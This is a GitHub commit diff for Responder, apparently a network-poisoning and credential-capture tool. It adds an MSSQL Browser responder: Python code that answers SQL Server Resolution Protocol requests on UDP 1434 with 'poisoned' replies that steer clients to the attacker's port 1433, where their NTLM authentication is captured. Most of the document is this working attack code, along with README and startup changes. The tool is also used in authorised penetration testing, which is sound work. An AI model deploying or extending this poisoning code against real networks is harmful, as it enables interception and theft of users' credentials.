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Merge pull request #58 from megabug/mssql-browser

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Add Microsoft SQL Server Browser responder
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lgandx 2017-07-15 13:23:08 -03:00 • committed by GitHub
commit 95c0d6e673
3 changed files with 33 additions and 2 deletions
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2
README.md
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@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ## ## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553. - This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.

3
Responder.py
View file

@ -268,8 +268,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off: if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL from servers.MSSQL import MSSQL, MSSQLBrowser
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
if settings.Config.FTP_On_Off: if settings.Config.FTP_On_Off:
from servers.FTP import FTP from servers.FTP import FTP

30
servers/MSSQL.py
View file

@ -17,6 +17,7 @@
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import * from utils import *
import random
import struct import struct
class TDS_Login_Packet: class TDS_Login_Packet:
@ -149,3 +150,32 @@ class MSSQL(BaseRequestHandler):
except: except:
self.request.close() self.request.close()
pass pass
# MSSQL Server Browser class
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
class MSSQLBrowser(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
data, soc = self.request
if data:
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == "\x04": # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == "\x0F": # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
def send_dac_response(self, soc):
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)